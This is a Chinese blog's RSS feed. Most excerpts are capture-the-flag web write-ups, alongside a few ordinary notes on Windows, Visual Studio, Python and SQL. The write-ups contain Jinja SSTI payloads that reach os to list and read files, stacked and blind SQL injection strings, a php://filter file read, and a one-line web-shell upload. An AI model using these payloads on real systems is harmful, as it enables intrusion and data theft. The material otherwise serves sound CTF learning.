<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[u014794949]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/u014794949</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; u014794949]]></copyright><item><title><![CDATA[Win10升级11错误代码80070002/无法判断你的电脑是否有足够空间继续安装windows11]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/123001647</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/123001647</guid><author>u014794949</author><pubDate>Fri, 18 Feb 2022 13:44:28 +0800</pubDate><description><![CDATA[此方法可在重启Windows Update服务、删除SoftwareDistribution文件夹无效的情况下尝试
以管理员权限打开Powershell，运行
bcdboot C:\Windows

]]></description><category></category></item><item><title><![CDATA[[极客大挑战 2019]Secret File 1_BUUCTF]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/110392961</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/110392961</guid><author>u014794949</author><pubDate>Mon, 30 Nov 2020 17:26:15 +0800</pubDate><description><![CDATA[进入页面查看源码

跟踪./Archive room.php

点击按钮后

确定存在重定向，抓包

跟踪这个程序

发现是一个get型文件传输
首先这是一个file关键字的get参数传递

php://是一种协议名称，php://filter/是一种访问本地文件的协议，
/read=convert.base64-encode/表示读取的方式是base64编码后，
resource=index.php表示目标文件为index.php。

所以，这里可以用php伪协议来读取flag.php

构造payloa]]></description><category></category></item><item><title><![CDATA[CAT_WEB]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/110244522</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/110244522</guid><author>u014794949</author><pubDate>Fri, 27 Nov 2020 20:00:48 +0800</pubDate><description><![CDATA[进入环境，随意提交一个网址，发现是get传url，于是在url上写CAT，发现用到了ping命令

改为127.0.0.1，可以ping通

TTL=64，猜测可能是linux系统，尝试控制台命令的联合执行，没有进展
于是输入一个不存在的url编码，发现报错

在文档底部发现报错日志，提示此项目是一个Django项目，处于DEBUG模式

搜索关键字api发现一个database路径

用curl+@读取文件

得到flag

要点：curl+@+目录文件名读取

...]]></description><category></category></item><item><title><![CDATA[fakebook_WEB]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/110095521</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/110095521</guid><author>u014794949</author><pubDate>Tue, 24 Nov 2020 21:39:44 +0800</pubDate><description><![CDATA[进入环境后发现是一个含有注册等内容的网站
先扫一下

发现robots.txt和bak文件，robots.txt内容如下

指向user.php.bak
将文件下载之
&lt;?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this-&gt;]]></description><category></category></item><item><title><![CDATA[mfw_WEB]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/109824510</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/109824510</guid><author>u014794949</author><pubDate>Thu, 19 Nov 2020 21:09:22 +0800</pubDate><description><![CDATA[进入环境，查看一遍发现一个页面

可能存在git泄露，进入git目录查看

使用dirsearch搜索，确定存在git泄露漏洞

使用GitHack把网站爬下来，找到首页源代码


assert() 检查一个断言是否为 FALSE
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False
file_exists() 函数检查文件或目录是否存在。
assert()函数会将括号中的字符当成代码来执行，并返回true或false。

因为在strpos中只传入了abc，所以其肯]]></description><category></category></item><item><title><![CDATA[shrine_WEB]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/109752444</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/109752444</guid><author>u014794949</author><pubDate>Tue, 17 Nov 2020 20:37:24 +0800</pubDate><description><![CDATA[进入环境后看到源码，用f12查看

发现存在@app.route这个函数和/shrine/这个路径，于是进入并尝试

发现可能存在模板注入

测试后确定存在模板注入
源码中发现将config和self加入黑名单

这时候用内置函数get_flashed_messages()，又因为config在current_app里面，所以我们可以构造payload
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

得到flag


.]]></description><category></category></item><item><title><![CDATA[记visual studio2019中文乱码解决]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/109681141</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/109681141</guid><author>u014794949</author><pubDate>Fri, 13 Nov 2020 19:49:45 +0800</pubDate><description><![CDATA[事件起因是控制台输出的默认字体不够美观，于是想更改控制台默认字体，此时需要用到注册表，代码页更改方式同cmd与powershell的一样，将其改为utf-8（65001）

改完之后发现中文输出乱码，于是寻找解决方法。网络上方法大多一样，使用插件强制转换，
其中插件下载地址
ForceUTF8 (with BOM)
建议使用有签名的版本，否则可能存在一系列问题
或者使用FormatonSave
还有就是通过设置保存为utf-8格式来实现乱码解决。
但以上方式仅仅是从代码层面解决问题，在我的情况下并不适用
此]]></description><category></category></item><item><title><![CDATA[Hear-with-your-Eyes_攻防世界]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/109632983</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/109632983</guid><author>u014794949</author><pubDate>Wed, 11 Nov 2020 22:38:32 +0800</pubDate><description><![CDATA[下载发现是gz压缩包，放在linux下解压


用Audition打开，没有发现什么特别的

切换到频谱频率显示器

得到flag


]]></description><category></category></item><item><title><![CDATA[stage1_攻防世界]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/109632525</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/109632525</guid><author>u014794949</author><pubDate>Wed, 11 Nov 2020 22:23:07 +0800</pubDate><description><![CDATA[下载图片，感觉存在通道隐写，打开，发现二维码，扫描得到一串字符串，将其生成pyc文件


将其反编译
def flag():
    str = [
     65, 108, 112, 104, 97, 76, 97, 98]
    flag = ''
    for i in str:
        flag += chr(i)
 
    print flag

运行得flag
AlphaLab

...]]></description><category></category></item><item><title><![CDATA[Web_python_template_injection_攻防世界]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/109530173</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/109530173</guid><author>u014794949</author><pubDate>Fri, 06 Nov 2020 13:58:30 +0800</pubDate><description><![CDATA[提示python模板注入，7*7变成49，确定存在模板注入

{{''.__class__.__mro__[2].__subclasses__()}}


构造payload
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}



{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}



魔术方法
__cl]]></description><category></category></item><item><title><![CDATA[upload1_攻防世界]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/109476742</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/109476742</guid><author>u014794949</author><pubDate>Tue, 03 Nov 2020 19:09:02 +0800</pubDate><description><![CDATA[进入环境，发现是文件上传
先F12

发现是前端判断，这样只需要禁用浏览器JS即可

之后返回页面刷新，成功上传一句话木马

复制路径，菜刀连接

下载flag.txt发现内容不是flag而是报错，怀疑是编码问题，将其转换为UTF-8编码

打开flag.php，成功得到flag


...]]></description><category></category></item><item><title><![CDATA[warmup_攻防世界]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/109372103</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/109372103</guid><author>u014794949</author><pubDate>Thu, 29 Oct 2020 22:48:50 +0800</pubDate><description><![CDATA[进入页面什么都没有，查看控制台

注释提示source.php，地址栏输入查看源码

提示存在hint.php，访问后显示

得到存储flag的文件名
现在分析满足函数条件的payload
函数作用是分三步检查传进来的参数是否满足白名单：
$whitelist = ["source"=&gt;"source.php","hint"=&gt;"hint.php"];

第一步：
if (! isset($page) || !is_string($page)) {
                echo "y]]></description><category></category></item><item><title><![CDATA[ics-06]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/109321616</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/109321616</guid><author>u014794949</author><pubDate>Tue, 27 Oct 2020 21:42:19 +0800</pubDate><description><![CDATA[进去之后点击什么都没有用，点到报表中心后发现可以进入。
地址栏中看见传参，以为是sql注入，但是验证后发现并不是
上burp抓包爆破

得到flag


]]></description><category></category></item><item><title><![CDATA[supersqli_攻防世界]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/109250782</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/109250782</guid><author>u014794949</author><pubDate>Fri, 23 Oct 2020 23:37:59 +0800</pubDate><description><![CDATA[进入题目发现是文本框提交，通过尝试确定闭合字符和注入点

order by确定存在2个字段
1' order by 2#



union select查询发现关键字过滤

通过堆叠注入得到库名
1';show databases;#


尝试得到表名
1';show tables;#


尝试得到两表中的列名
1';show columns from `1919810931114514`;#


1';show columns from `words`;#


flag列中比较可能存放答案，words表里]]></description><category></category></item><item><title><![CDATA[1015笔记]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/109167329</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/109167329</guid><author>u014794949</author><pubDate>Mon, 19 Oct 2020 20:48:17 +0800</pubDate><description><![CDATA[python基础
1.Python中是如何对变量赋值的？
a = 123
b = 'test'
print (a)
print (b)

2.Python中的字符串变量是如何拼接的
a = 123
b = 'test'
#print (a)
#print (b)
c = 'flag'
d = b+c 
print (d)

3.Python中数字和字符串怎样拼接？
a = 123
b = 'test'
#print (a)
#print (b)
c = 'flag'
d = str(a)+c
print (]]></description><category></category></item><item><title><![CDATA[宽字节注入]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/108993376</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/108993376</guid><author>u014794949</author><pubDate>Sat, 10 Oct 2020 11:57:20 +0800</pubDate><description><![CDATA[原因
宽字节注入主要是因为采用了GBK编码，一个gbk编码占用2个字节，一个utf-8占用3个字节
常规手段下只需要闭合单引号即可，但当存在转义处理时，需要对payload进行特殊构造
常规注入手段
select * from users where id = '1' order by 3 # ' limit 0,1

被过滤后会成为
select * from users where id = '1\'' limit 0,1

构造payload




原始数据
代码层过滤
url编码’




1%d]]></description><category></category></item><item><title><![CDATA[盲注总结]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/108978941</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/108978941</guid><author>u014794949</author><pubDate>Fri, 09 Oct 2020 23:08:41 +0800</pubDate><description><![CDATA[布尔类型
页面会根据不同信息返回不同的状态，一般状态分两种，一种是成功的状态，一种是失败的状态。
此时可以通过and查询判断基本信息
如
select * from users where id = '1' and (Length(database()))=8 --'limit 0,1

已知and前语句为true，如果有回显，则证明数据库长度为8
获取数据库长度为8个字符后，可以用substr()与Ascii()构造猜测数据库名
select * from users where id = '1' and]]></description><category></category></item><item><title><![CDATA[SQL 高级查询]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/108944590</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/108944590</guid><author>u014794949</author><pubDate>Tue, 06 Oct 2020 23:39:48 +0800</pubDate><description><![CDATA[高级数据操作
新增数据：多数据插入，只写一次insert指令，但可以直接插入多条记录
insert into 表名[(字段列表)] values(值列表),(值列表)...;

如果没有条件，则全表更新数据，但可以用limit限制更新的数量
Update 表名 set name ='aaa' where name = '123' limit 4; --改变4个aaa为123

删除数据时可以使用limit限制删除数据的量
delete from 表名 limit 4;

高级查询
完整的查询指令：
Sele]]></description><category></category></item><item><title><![CDATA[FiF智慧教学平台登陆系统可能过滤特殊字符导致无法正常登录]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/106571727</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/106571727</guid><author>u014794949</author><pubDate>Fri, 05 Jun 2020 16:01:26 +0800</pubDate><description><![CDATA[起因
本人网上需要在fif智慧教学平台进行考试，而初始密码为123456，于是我便将其改为数字+大小写字母+符号的形式，设置好之后并未重新登陆验证，第二次登陆时提示密码不正确，不得已只得找老师重置密码。
测试过程
我原以为是密码记错了，于是重新绑定手机后更新密码，重新登陆，仍然显示密码错误。我采用的是****（数字）+ ****（小写字母）+ **** （大写字母）+ &lt;&gt;?（符号）
的形式，于时我将最后的符号删除，即
****（数字）+ ****（小写字母）+ **** （大写字母）
此时可正]]></description><category></category></item><item><title><![CDATA[Chip_Misc]]></title><link>https://blog.youkuaiyun.com/u014794949/article/details/105602448</link><guid>https://blog.youkuaiyun.com/u014794949/article/details/105602448</guid><author>u014794949</author><pubDate>Sat, 18 Apr 2020 19:57:30 +0800</pubDate><description><![CDATA[下载解压后得到.disk文件，经搜索属linux磁盘文件

同时在附带的txt文档中找到如下提示

提示无法通过linux直接挂载实现，用Winhex打开，发现存在PNG图片，查找发现两个IHDR，分别在如下位置


证明存在两张图片，于时在相应位置补上头尾后提取，得到两张图片，这两张图片在ps下无法打开，于是用windows自带的画图打开并截图


经过ps操作得到flag


...]]></description><category></category></item></channel></rss>